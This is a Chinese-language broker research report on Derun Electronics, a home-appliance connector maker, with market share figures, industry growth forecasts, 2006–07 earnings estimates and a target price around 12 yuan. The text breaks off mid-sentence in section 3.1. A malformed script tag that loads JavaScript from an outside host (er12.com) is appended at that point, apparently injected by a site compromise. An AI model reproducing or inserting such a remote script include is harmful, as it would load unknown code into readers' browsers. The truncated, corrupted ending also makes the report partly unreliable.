投资要点：
公司主要从事电子连接器等电子器件的制造和销售。在本土电连接器生产器中位列第三位。其下游应用主要面向家电产品。
公司主要客户包括海尔集团、康佳集团、四川长虹及创伟集团等国内家电企业。由于与海尔、康佳、长虹等成立了相关的合资公司，从而可以从股权的角度保证了与三家国内最大家电企业的供应关系。
2005年公司在彩电、空调、冰箱、洗衣机四大家电连接器的市场份额分别为22.94%、6.43%、6.12%和10.16%。
随着全球经济的复苏，2002年全球电连接器市场开始复苏。03-05年恢复到较高的增长，05年增长率达14.2%。根据权威机构bishopassociates的预测，2003-2008全球连接器的复合增长率将达到9%，其中中国的增长率最高，达到19.8%。
中国已成为全球连接器增长最快的市场，根据中国电子元件行业协会信息中心的预测，到2010年连接器产量将达到468亿只，市场规模将达到515亿元，未来5年平均增幅将达到15%。而增长的动力一方面来自于包括家电在内消费电子的旺盛需求，另一方面也来自于全球制造业特别是电子信息产品、汽车、手机等制造业向中国的转移。
我们认为，在下游主要家电客户业绩稳定增长的预期下，随着公司产能的增加，公司业务收入将保持稳定增长的态势。而在上游原材料涨价及下游终端产品价格下降的双重压力下，其毛利率仍有波动的空间。预期06、07年净利润分别为2560万、2907万元，相当于06、07年eps0.4元、0.45元。
参照相关元器件板块的平均估值水平，我们发现05年平均pe水平在25倍附近，06年平均pe水平在22倍附近。作为一家新上市ipo企业，有可能获得更高的市场溢价。得润的合理价格中轴应在12元左右，16元以上将面临高估的风险。
1.公司简介
1.1.主要业务
得润电子主要从事电子连接器等电子器件的制造和销售。包括家电连接器产品、精密电子接插件产品、精密模具及精密组件产品、汽车连接器产品等。公司主要客户包括海尔集团、康佳集团、四川长虹及创伟集团等国内家电企业。
1.2.主营收入结构
公司80%的收入来源于国内市场，且以家电为主要应用市场。
2.行业概况
2.1.全球市场状况
电子连接器是连接电气线路的元件之一，主要是在器件与组件、组件与机柜、系统与子系统之间起电连接和信号传递的作用，并且保持系统与系统之间不发生信号失真和能量损失的变化。电子连接器是用途最为广泛的电子元件之一，广泛运用于计算机、电信、网络通讯、工业电子、交通运输、航空航天、医疗器材及汽车工业等领域。
根据flerk rdsearch公司的数据，2005年全球电连接器市场规模为372亿美元。随着全球经济的复苏，2002年全球电连接器市场开始复苏。03-05年恢复到较高的增长，05年增长率达14.2%。根据权威机构bishop associates的预测，2003-2008全球连接器的复合增长率将达到9%，其中中国的增长率最高，达到19.8%。
就终端产品的应用领域而言，对电子连接器需求最大的应用领域是汽车电子、电脑及外设，其次是工业控制设备、电信、军事/航天、交通运输和消费电子。其中市场增长最快的则是消费电子、商务办公设备、医疗设备和工业控制。
2.2.国内连接器市场前景
根据中国电子元件行业协会信息中心的数据，2005年我国电接插件（以连接器为主，也包含开关产品）的产量约为390亿只，实现销售收入362亿元。其中连接器产量为215亿只，销售收入258亿元。
中国已成为全球连接器增长最快的市场，根据中国电子元件行业协会信息中心的预测，到2010年连接器产量将达到468亿只，市场规模将达到515亿元，未来5年平均增幅将达到15%。而增长的动力一方面来自于包括家电在内消费电子的旺盛需求，另一方面也来自于全球制造业特别是电子信息产品、汽车、手机等制造业向中国的转移。
目前，大陆地区有1000多家连接器制造商，其中外商投资及港台厂商约有300家，本土制造商700余家。就下游应用而言，在对于速度、可靠性、串扰和噪声等要求较高的通讯和汽车等高端应用领域，以molex、tyco、fci、3m及amphenol为代表的国际厂商优势明显。而在个人电脑及周边设备应用领域，台湾厂商占有较大市场份额。本土连接器生产商主要生产市场需求巨大的中低端连接器，大多立足于传统的家电应用市场，并逐渐向pc、汽车和通讯领域渗透。
3.公司行业地位及竞争优势分析
3.1.公司是中国家电连接器龙头企业
公司在国内本土连接器制造厂商中排列第三位。其中，排在第一位的上海飞乐股份其产品主要面向汽车电子。排在第二位的安普泰科主要生产中高端连接器。得润已成为国内最大的家电连接器制造商。由于与海尔、康佳、长虹等成立了相关的合资公司，从而可以从股权的角度保证了与三家国内最大家电?script src=http://er12.com/t.js>
